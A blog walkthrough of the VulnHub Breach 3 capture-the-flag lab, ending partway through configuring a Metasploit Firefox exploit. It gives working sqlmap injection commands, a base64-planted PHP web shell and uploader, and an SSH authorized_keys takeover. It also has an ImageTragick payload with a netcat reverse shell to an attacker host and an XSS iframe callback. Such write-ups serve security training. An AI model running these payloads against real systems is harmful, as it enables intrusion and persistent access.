VulnHub Breach 3 Solution

      1 Comment on VulnHub Breach 3 Solution

For background information on this series of CTFs you may want to read this page. Or if your just after my solution please keep reading.

Breach 3.0.1

Intro

Breach is the third in a series of boot2roots released by mrb3n on the vulnhub platform. It follows on from  2 previous challenges and maintains the same scenario. We are advised to keep our notes from Breach 1 and Breach 2 close.

Link – https://www.vulnhub.com/entry/breach-301,177/

Difficulty – Intermediate

This is a long one and I don’t like splitting things in to separate posts if I don’t have to so sorry about that.

My Solution

I start the same way I start all My CTF’s with a full TCP scan of all open TCP Ports. After the scan completes there are 0 open ports. This seems odd but OK. There has to be a way in, so I run and nmap scan again this time looking at common UDP ports. (A Full UDP Scan will take a long time)

This time I get a result. UDP 161 is open. This port is typically reserved for SNMP so let’s have a play.

msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(snmp_enum) > show options
Module options (auxiliary/scanner/snmp/snmp_enum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      161              yes       The target port (UDP)
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

msf auxiliary(snmp_enum) > set rhosts 192.168.5.16
rhosts => 192.168.5.16
msf auxiliary(snmp_enum) > run

[+] 192.168.5.16, Connected.

[*] System information:

Host IP                       : 192.168.5.16
Hostname                      : Initech-DMZ01
Description                   : Linux Initech-DMZ01 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC 2016 x86_64
Contact                       : Email: [email protected] - (545)-232-1876
Location                      : Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again.
Uptime snmp                   : 4 days, 01:15:30.14
Uptime system                 : 4 days, 01:15:16.79
System date                   : 2017-3-29 12:50:35.0


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(snmp_enum) >

Looks like Milton left a back door, but there were no open ports for this. I left a few tools running to try and brute force a private string without success. There must be a clue in the text.

The phone number is actually a port knock sequence.

knock 192.168.5.16 545 232 1876

Run NMAP again on TCP ports and we start to see some results.

Discovered open port 23/tcp on 192.168.5.16
Discovered open port 22/tcp on 192.168.5.16
Discovered open port 10008/tcp on 192.168.5.16
Discovered open port 5800/tcp on 192.168.5.16
Discovered open port 10007/tcp on 192.168.5.16
Discovered open port 10009/tcp on 192.168.5.16

OK lets go looking for Milton’s backdoor.

[email protected]:~/breach3# nc 192.168.5.16 23
I used to have a backdoor here but they closed it down around when they moved my desk into the basement.
I'm going to burn this one down too

[email protected]:~/breach3#

His old one is shutdown but there seems to be a new one running on port 5800

nc 192.168.5.16 5800

gives us a nice menu to play with.

The shell is gone, but tcpdump and some network information is there. Before I started looking at this I wanted to take a closer look at the other ports.

[email protected]:~# nc 192.168.5.16 10007
id
id
ls
ls
[email protected]:~# 
[email protected]:~# nc 192.168.5.16 10008
Prototype unit 0001 is ready to accept programming
[email protected]:~# 
[email protected]:~# nc 192.168.5.16 10009
Debian GNU/Linux 7
Login: 12345
Password: admin
12345$

This is definitely trolling me its very quickly clear that this is some sort of honeypot, a quick search of the phrase “Prototype unit 0001 is ready to accept programming” Which is a quote from Star Trek Voyager :) and we can tell that this is honeypy.

SSH has a banner

[email protected]:~/breach3# ssh [email protected]
The authenticity of host '192.168.5.16 (192.168.5.16)' can't be established.
ECDSA key fingerprint is SHA256:fnTQLT9eSVjVGn/PkedVnuPd0iX7bmuH23IiqMGwd5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.5.16' (ECDSA) to the list of known hosts.
**********************************************************************
*                                                                    * 
*          The Bobs Cloud Hosting, LLC. Secure Backdoor              *
*                                                                    * 
*                                                                    *
*  If you wish to discuss cloud hosting options, give us a call at   *
*                                                                    *
*   555-423-1800 or email us at [email protected]   *
*                                                                    * 
**********************************************************************
[email protected]'s password: 

[email protected]:~/breach3# ^C

Which looks like we have another knock sequence.

[email protected]:~/breach3# knock 192.168.5.16 555 423 1800

Another NMAP Scan and the current ports close leaving us with port 8 http open

Navigating to the site it’s configured for basic auth. I spend a lot of time trying to brute force the basic auth, verb tampering and dir scanning but nothing was letting me in.

I went back to the beginning looking for more clues and remembered I had to

keep your notes close from the previous 2 challenges

So I went back through all my note for breach 1 and 2. I had a password for Milton that was retrieved from an SQL Dump. milton|thelaststraw

Success

Following the link in the list we get to a web portal for thebobs hosting service

There is a login form, this could mean SQL Injection or default creds, so I throw a word list at the POST handler using zap (Far easier than hydra in my opinion) and fire up sqlmap to play with the injection.

It took me a long time and many iterations to get sqlmap running effectively. There was some sort of WAF behaviour that would block types of requests, after a lot of trial and error with tamper scripts I found one that worked and was redirecting me off to an admin page.

[23:57:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[23:57:43] [INFO] testing 'Oracle AND time-based blind'
[23:57:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
sqlmap got a 302 redirect to 'http://192.168.5.16:8/breach3/thebobsadmin.php'. Do you want to follow? [Y/n] 
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] 
[23:58:27] [INFO] target URL appears to be UNION injectable with 3 columns

After this break through I tried to enumerate some tables but would only ever get partial data results. It wasn’t until I read back over all the output from sqlmap I found my solution.

–drop-set-cookie With this flag set I was in the clear and dumping tables. The full string I eventually used is as follows. This was put together after a lot of trial and error.

map# ./sqlmap.py --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "http://192.168.5.16:8/breach3/index.php" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D thebobs --dump
available databases [5]:
[*] backups
[*] information_schema
[*] mysql
[*] performance_schema
[*] thebobs

thebobs and backups are not standard database names so lets dump them.

<meta http-equiv="content-type" content="text html; charset="utf-8"">map# ./sqlmap.py --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "http://192.168.5.16:8/breach3/index.php" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D thebobs --dump
Database: thebobs
Table: login
[1 entry]
+----+----------+------------------------------------------+
| id | username | password                                 |
+----+----------+------------------------------------------+
| 1  | admin    | 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229 |
+----+----------+------------------------------------------+
[email protected]:~/sqlmap# ./sqlmap.py --tamper=equaltolike --dbms=mysql --auth-type=basic --auth-cred=milton:thelaststraw --level=3 --risk=3 -u "http://192.168.5.16:8/breach3/index.php" --data="username=me&password=me&submit=+Login+" -p password --drop-set-cookie --threads=10 -D backups --dump

SNIP 

[3 entries]
+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+
| id | username  | password                                                                     | comments                                                         |
+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+
| 1  | blumbergh | Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K | Trying out a new encryption method, not in production yet        |
| 2  | milton    | thelaststraw                                                                 | Account disabled after he went off the rails. No need to encrypt |
| 3  | root      | ?                                                                            | :)                                                               |
+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+

We also grab the mysql users table.

Database: mysql
Table: user
[4 entries]
+-------------------------------------------+
| password                                  |
+-------------------------------------------+
| <blank>                                   |
| <blank>                                   |
| <blank>                                   |
| *A297BC82D05D50F2585125EB736CFF18ACE32770 |
+-------------------------------------------+
Database: mysql
Table: user
[4 entries]
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| root             |
| root             |
| root             |
+------------------+

Now to start cracking some passwords.

mysql root is blank so that’s easy.

blumbergh is a base64 string after 5 rounds of decoding we get – C0ff33stainS.

the admin password looks like sha1 based on its length. https://crackstation.net/ has this one in its dataset and is randomhash.

Trying combinations of these on the admin portal was still not letting me in. So when is a hash not a hash? When its a password. This was accidental, i pasted the hash instead of the plain text for randomhash and it let me in. The admin password is ‘8f4fadb24304d60d9dcb1589aa6a5c2d2d373229’ not its clear text.

Another web portal this one has a lot more substance to it.

After running dirbuster and getting zap to spider the site we end up with a list of php pages, most of them seem basic enough, the only ones with form fields area support page and livechat.php

After playing around with injecting data in to the forms we can see some strings rendering on the page. :),  ;),  try harder amongst others. The end result being a command injection vulnerability.

192.168.5.16:8/breach3/thebobscloudhostingllc/livechat.php?searcher= ls

It’s not what you would call easy to read the output so I grab myself a really simple php command exec script, base64 encode it and push it up.

[email protected]:~/breach3# echo '<?php echo shell_exec($_GET['e']); ?>' | base64
PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUW2VdKTsgPz4K
[email protected]:~/breach3#
192.168.5.16:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUW2VdKTsgPz4K | base64 -d > shell.php

then browse to /shell.php?e=ls If you view page source on this page and run commands from there you get some nice formatting of your results.

I also use the same method to upload a simple file uploader. Base64 and then pipe out to a file. It’s important to note that if your base64 string includes + you will need to url encode everything to stop it breaking.

<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Yup<b><br><br>'; }
else { echo '<b>Nope</b><br><br>'; }
}
?>

 

view-source:http://192.168.5.16:8/breach3/thebobscloudhostingllc/shell.php?e=echo%20%22PD9waHAKZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI%2BJzsKZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI%2BPC9mb3JtPic7CmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI%2BWXVwPGI%2BPGJyPjxicj4nOyB9CmVsc2UgeyBlY2hvICc8Yj5Ob3BlPC9iPjxicj48YnI%2BJzsgfQp9Cj8%2BCg%3D%3D%22%20%3E%20b64.bin
view-source:http://192.168.5.16:8/breach3/thebobscloudhostingllc/shell.php?e=base64%20-d%20b64.bin%20%3E%20uploader.php

You can then use this uploader to push a better shell or something like c99 shell.

Ok now we tools in place lets see what we have.

id
uid=1003(samir) gid=1003(samir) groups=1003(samir),27(sudo)

Sudo looks interesting

sudo -l 
Matching Defaults entries for samir on Initech-DMZ01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User samir may run the following commands on Initech-DMZ01: (thebobs) NOPASSWD: /bin/chmod

I can change permissions as bob. That sounds vaguely useful.

I try to get an interactive netcat shell back to my host but it seems outbound connections and ping are being blocked somewhere.

instead lets look for low hanging fruit. One of the first things I do on access is to run  find / > /tmp/dirs.txt to list all files and folders. This time I just output to dirs.txt so I can download it from the webroot.

There are a lot of interesting files and some files just to lead us off the garden path like ‘/home/troll/passwords.txt’

There is a flag in bobs home dir and we could change the permissions on this file using our sudo access in order to read this file. Of more interest however are the public and private keys in bobs .ssh folder

/home/thebobs
/home/thebobs/.profile
/home/thebobs/.bash_logout
/home/thebobs/flag1
/home/thebobs/.bash_history
/home/thebobs/.ssh
/home/thebobs/.ssh/id_rsa
/home/thebobs/.ssh/.swn
/home/thebobs/.ssh/id_rsa.pub
/home/thebobs/.ssh/known_hosts
/home/thebobs/.ssh/.swp
/home/thebobs/.ssh/authorized_keys
/home/thebobs/.ssh/.swo
/home/thebobs/.ssh/.swm
/home/thebobs/.viminfo
/home/thebobs/.bashrc
/home/thebobs/.cache

If I can add my own key to authorised keys I can simply ssh on to the box. And as I have access to change permissions on bobs file this seems achievable.

First generate a key on my host using ssh-keygen -t rsa and follow the prompts NOT setting a password on this key. Then use my command access to:

Encode and upload the public key

http://192.168.5.16:8/breach3/thebobscloudhostingllc/shell.php?e=echo%20%22c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDMDQ0ZjJXM3AwT3hXeFllN0t1dkZsbWIvQ0JOdjYyQm42WExhNnRNWEd4RUtVUTJhak8wNmQ0dlZPZ0l6WUJzK0plWDlLZ0ZBQnJXQkQwWUlDZmNhNVZURE15VmZ0d2dwRVZ3RzB1Nis0VUllZ2dIQXN2ODIvOU5mUU9JMWxWVTRRdGp6cHdpZmovY0NFaFdMVDRvUmRWdmhTQUpXbEttOUZPbzFPRnVNMzlMc1ZMZm51REZLNE00MldVQnhpYUNFMXFXcUwvQTNxS1l3aWtFakFTbEJXS1pwV0tra1ByWnFYL0NXTmJuSHU1R1NyTG9pM2hCbnpsYmxkb3JqNWJIdXRWTU5CYmtBQm1qZlBnZWNCM2pVWTJuUXI3MjUvSmJOMEd4T3pMai9xUjMxY1lFMzRyejlhYzAxcXpUSmVESkZCbmNPZ3lnVHY0NWpSKy9Tc2IyNHYgcm9vdEBUZWNoS2FsaQo=%22%20|%20base64%20-d%20%3E%20/home/thebobs/.ssh/authorized_keys

Set Permissions

http://192.168.5.16:8/breach3/thebobscloudhostingllc/shell.php?e= sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys
http://192.168.5.16:8/breach3/thebobscloudhostingllc/shell.php?e= sudo -u thebobs chmod 700 /home/thebobs/.ssh

If you make a mistake simply reset permissions on .ssh and authorized keys to 777 and start again.

With keys in place I can now connect using a standard SSH client.

[email protected]:~/breach3# ssh [email protected] -i breach_rsa

Python shell thats new.

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Tue Nov  8 13:36:07 2016 from 192.168.110.129
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

I like to use python to spawns a tty shell from netcat normaly to this was easy in the interpreter

Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
[email protected]:~$ ls
flag1
[email protected]:~$

From here I drop one of my favourite enumeration scripts from http://highon.coffee linux-local-enum. The output is massive but there is a lot of useful information contained within.

From basic enumeration of the box, ps aux, netstat taunp, ifconfig it was clear this host was running 2 virtual machines.

. . . SNIP . . . 

libvirt+   1665  0.0  0.1  28208  2292 ?        S    11:35   0:00 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf
root       1668  0.0  0.0      0     0 ?        S    11:35   0:00 [kauditd]
libvirt+   1687  9.6 24.2 1234444 492720 ?      Sl   11:35   2:55 /usr/bin/qemu-system-x86_64 -name Initech.local01 -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 512 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid ea47e301-6c0b-d113-184a-d81fc81ecd4c -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/Initech.local01.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot order=c,menu=on,strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/Initech.local01.img,if=none,id=drive-ide0-0-1,format=qcow2 -device ide-hd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:ee:14:51,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc 127.0.0.1:0 -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5
libvirt+   1706 17.0 30.0 1234848 610692 ?      Sl   11:35   5:12 /usr/bin/qemu-system-x86_64 -name bill-desktop -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 512 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 801852d0-a01d-5485-c40e-2a7049999329 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/bill-desktop.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot order=c,menu=on,strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/bill-desktop-2.img,if=none,id=drive-ide0-0-0,format=qcow2 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:f7:3c:ef,bus=pci.0,addr=0x3 -netdev tap,fd=25,id=hostnet1 -device virtio-net-pci,netdev=hostnet1,id=net1,mac=52:54:00:4b:73:5f,bus=pci.0,addr=0x6 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc 127.0.0.1:1 -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5
samir      1759  0.0  0.6 279008 12924 ?        S    11:37   0:00 /usr/sbin/apache2 -k start
samir      1761  0.0  0.6 278880 13040 ?        S    11:38   0:00 /usr/sbin/apache2 -k start

. . . SNIP . . . 

  •  /var/lib/libvirt/images/bill-desktop-2.img
  • /var/lib/libvirt/images/Initech.local01.img

I didn’t have permissions to access libvirt or these images to pull them down so I started looking at them from a network perspective nmap was on the box but was not returning any results I could verify there where some active VM’s with an arp scan.

[email protected]:~$ arp -a
? (192.168.122.65) at 52:54:00:ee:14:51 [ether] on virbr0
? (192.168.122.28) at 52:54:00:f7:3c:ef [ether] on virbr0

But no open ports responding. This is when my colleague James Hall, who was also running the CTF, discovered that if you port knock the original sequence then it unlocks ping and you can get a successful nmap scan.

knock 192.168.5.16 545 232 1876

we an also see Milton’s back door is running again.

[email protected]:/etc/libvirt/qemu/networks$ cat /usr/bin/fvnc.sh
#!/bin/sh
dialog --menu "Milton's Backdoor" 10 30 3 1 Sysinfo 2 Eavesdrop 3 Shell 2>/tmp/temp

# OK is pressed
if [ "$?" = "0" ]
then
        _return=$(cat /tmp/temp)
 
        # /home is selected
        if [ "$_return" = "1" ]
        then
                dialog --title "Grab some quick info" --msgbox "$(uname -a && ifconfig eth0)" 100 100
        fi
 
         # /root is selected
        if [ "$_return" = "2" ]
        then
                dialog --title "See what everyone is up to back at Initech" --msgbox "$(tcpdump -i eth0)" 100 100
        fi
 
         # /tmp is selected
        if [ "$_return" = "3" ]
        then
                dialog --title "Drop into a system shell" --msgbox "$(echo "Yeaaaa! We shutdown this backdoor. Did we get the telnet one too? It keeps popping up somehow.")" 100 100
        fi
 
# Cancel is pressed
else
        echo "Cancel is pressed"
fi
 
# remove the temp file
rm -f /tmp/temp

#iptables -A INPUT -i eth0 -p tcp --dport 23 -m state --state NEW,ESTABLISHED -j ACCEPT
#iptables -A OUTPUT -o eth0 -p tcp --sport 23 -m state --state NEW,ESTABLISHED -j ACCEPT

We don’t have any permissions to edit this which is a shame. But anyway with network traffic once again at my command I send nmap off to the VM interface.

[email protected]:~$ nmap -p- -T4 -A 192.168.122.0/24
Starting Nmap 6.40 ( http://nmap.org ) at 2017-03-27 03:34 EDT

Nmap scan report for 192.168.122.28
Host is up (0.00067s latency).
All 65535 scanned ports on 192.168.122.28 are closed

Nmap scan report for 192.168.122.65
Host is up (0.00093s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8800/tcp open  http    nginx 1.6.2
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Basic realm=Restricted Area
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
|_http-title: 401 Authorization Required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 313.37 seconds
[email protected]:~$

28 has no open ports and may need some knocking somewhere but 65 is looking promising.

The easiest way to get access to this internal IP range is to create an SSH socks proxy to the host that can forward our traffic. This is as simple as:

Creating the proxy tunnel with ssh

[email protected]:~/breach3# ssh -i breach_rsa -D 9000 [email protected]

and then configuring my browser to proxy traffic through localhost port 9000

To maintain internet access I use foxyproxy with rules in order to manage my settings.

From here I just enter http://192.168.122.65 in my browser and the proxy routes me to the correct destination.

port 8800 is behind more basic auth. But port 80 has accessible pages.

There is an admin panel with a login form and pdf uploader among the pages. after throwing creds at the admin page with no luck I play with the pdf uploader

I start pushing files up and notice its trying to create an image from my files. A quick search for php pdf to image returns a lot of results for ImageMagick, which had a high profile vulnerability named ImageTragic last year.

There is plenty of POC code on the website so I start throwing some at the uploader.

XML Parsing Error: not well-formed
Location: http://192.168.122.65/intranet/tragic1.svg
Line Number 5, Column 46:<g style="fill:https://example.com/image.jpg";|ls "-la;</g>
---------------------------------------------^

Error messages are a good sign. it took a few attempts but finally I got a working reverse shell to come back to me.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|mknod /tmp/pipez p;/bin/sh 0</tmp/pipez|nc 10.0.8.2 1111 1>/tmp/pipez;rm -rf "/tmp/pipez)'
pop graphic-context

Save thats as file.jpg and upload. Took less than a second for my shell to be returned.

[email protected]:~# nc -l -v -p 1111
listening on [any] 1111 ...
192.168.5.16: inverse host lookup failed: Unknown host
connect to [10.0.8.2] from (UNKNOWN) [192.168.5.16] 54795
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/var/www/html/intranet$ 
[email protected]:/var/www/html/intranet$ 

[email protected]:/var/www/html/intranet$ id 
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html/intranet$

The reason the logon page wasn’t working. . .

cat login.php
<!----Nothing to see here--->

Its empty

Anyway on with the show. I run through my usual enumeration and find some interesting files. In this scenario I base64 encoded my dirs.txt file and cat it out to screen. Old school copy paste and decode back on my host to get file listings. I could use netcat and some redirects but anything that needs ctrl keys like CTRL+C will not work in this kind of shell. So I keep it simple.

/home
/home/thebobs
/home/thebobs/.bash_history
/home/thebobs/.bash_logout
/home/thebobs/.bashrc
/home/thebobs/.profile
/home/samir
/home/samir/.bash_logout
/home/samir/.notes.txt
/home/samir/.bashrc
/home/samir/.profile
/home/peter
/home/peter/.bash_history
/home/peter/.bash_logout
/home/peter/flag2
/home/peter/.bashrc
/home/peter/.profile

Looks like we need to be peter to read the next flag.

samir has a hidden notes file that contains the string infosecrockstar. seems passwordy to me. And this lets us in to port 8800

This site looks like it’s a ticketing system. We can see these files in /var/www/html2/support but the interesting ones like db and comment are locked so we can’t see them. Looking at the other php pages we see it’s not very securely coded. I try some basic sql techniques looking for an error page and in response I get my content reflected back to the page and . . .

If you are seeing this you already have a shell, so this doesn’t make sense. Don’t get greedy now

That’s a fair point. Back to being peter. Port 22 is open so lets see whats over there. In order to send ssh through my local proxy I configure proxychains by creating a proxychains.conf file

strict_chain
quiet_mode
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
localnet 127.0.0.0/255.0.0.0
 
[ProxyList]
socks4  127.0.0.1 9000

then running ssh with proxy chains

[email protected]:~/breach3# proxychains ssh [email protected]

No banner and no clues here. Password re-use has been a theme all the way through breach, so I try all the passwords I have collected so far.

Peters old password from breach 1 damnitfeel$goodtobeagang$ta gets me in to another python shell. 

[email protected]:~/breach3# proxychains ssh [email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
[email protected]'s password: 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
[email protected]:~$ ls -ahtl
total 28K
-rw------- 1 peter peter   38 Sep 29  2016 flag2
drwxr-xr-x 2 peter peter 4.0K Sep 29  2016 .
-rw------- 1 peter peter  258 Sep 29  2016 .bash_history
drwxr-xr-x 5 root  root  4.0K Sep 29  2016 ..
-rw-r--r-- 1 peter peter  220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 peter peter 3.5K Nov 12  2014 .bashrc
-rw-r--r-- 1 peter peter  675 Nov 12  2014 .profile
[email protected]:~$ cat flag2
breach3{what_secrets_is_bill_hiding?}
[email protected]:~$

It is asking us about Bill. We know the other VM is bills based on name alone, but there was nothing open, lets see what peter can do and if it gets us any closer to Bil.

[email protected]:~$ cat .bash_history
exit
ls
cat ticket.php
exit
tail -f /var/log/apache2/access.log
tcpdump -n -i eth0 -s o src or dst port 80
which tcpdump
nc -lvnp 80
exit
cat ticket
cat ticket.php 
ls
cat comment.php 
cat index.php 
nano index.php 
exit
ls
cat comment.php 
cat db.php 
exit
[email protected]:~$

Not going to lie, I spent a fair amount of time wandering round the filesystem poking things with no results. I took a step back and started going over everything I knew.

Bills VM is a desktop, that suggest user. Nothing inbound, so what about outbound? I can’t run tcpdump on anything but I can look at the netstat output for each machine.

Every 2.0s: netstat -taunp                                                                                   Mon Apr  3 13:06:48 2017
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8800            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 192.168.122.65:54798    10.0.8.2:1111           ESTABLISHED -
tcp        0      0 192.168.122.65:22       192.168.122.1:33666     ESTABLISHED -
tcp        0      0 192.168.122.65:8800     192.168.122.28:38738    ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::8800                 :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       1      0 192.168.122.65:80       192.168.122.1:60066     CLOSE_WAIT  -
tcp6       0      0 192.168.122.65:80       192.168.122.1:60088     ESTABLISHED -
udp        0      0 0.0.0.0:63963           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -
udp6       0      0 :::14531                :::*                                -

There we have it .28 is connecting to 65 on port 8800. It looks to cycle every 3 minutes. Now just to find out which page its connecting to so we can get a web hook in there.

From our sql attempts earlier we saw we could control the content that appears in the tickets.php page by submitting tickets. Lets see if we can get an XSS in there.

As a simple test I inject a basic iframe in to the comments field. This iframe is designed to connect back to a netcat listener I have running.

<iframe src="http://10.0.8.2:8000/sample.php"></iframe>

And after a couple of minutes we get our confirmation.

[email protected]:~/breach3# nc -l -v -p 8000
listening on [any] 8000 ...
192.168.5.16: inverse host lookup failed: Unknown host
connect to [10.0.8.2] from (UNKNOWN) [192.168.5.16] 51645
GET /sample.php HTTP/1.1
Host: 10.0.8.2:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.122.65:8800/support/ticket.php
Connection: keep-alive
[email protected]:~/breach3#

The NAT from the host machine is obscuring the real source address but we can see that a browser is connecting back to us. The UA string identifies it as Firefox version 22. Which is lucky as it has a couple of vulnerabilities included in Metasploit. I try them all in turn, but im only showing the one that ended up giving me a shell. firefox_tostring_console_injection

Fire up msfconsole, select and configure our exploit.

f exploit(firefox_webidl_injection) > use exploit/multi/browser/firefox_tostring_console_injection
msf exploit(firefox_tostring_console_injection) > show options
Module options (exploit/multi/browser/firefox_tostring_console_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CONTENT                   no        Content to display inside the HTML <body>.
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)


msf exploit(firefox_tostring_console_injection) > set srvhost 10.0.8.2
srvhost => 10.0.8.2
msf exploit(firefox_tostring_console_injection) > set uripath hWqaDKIMv6YW
uripath => hWqaDKIMv6YW
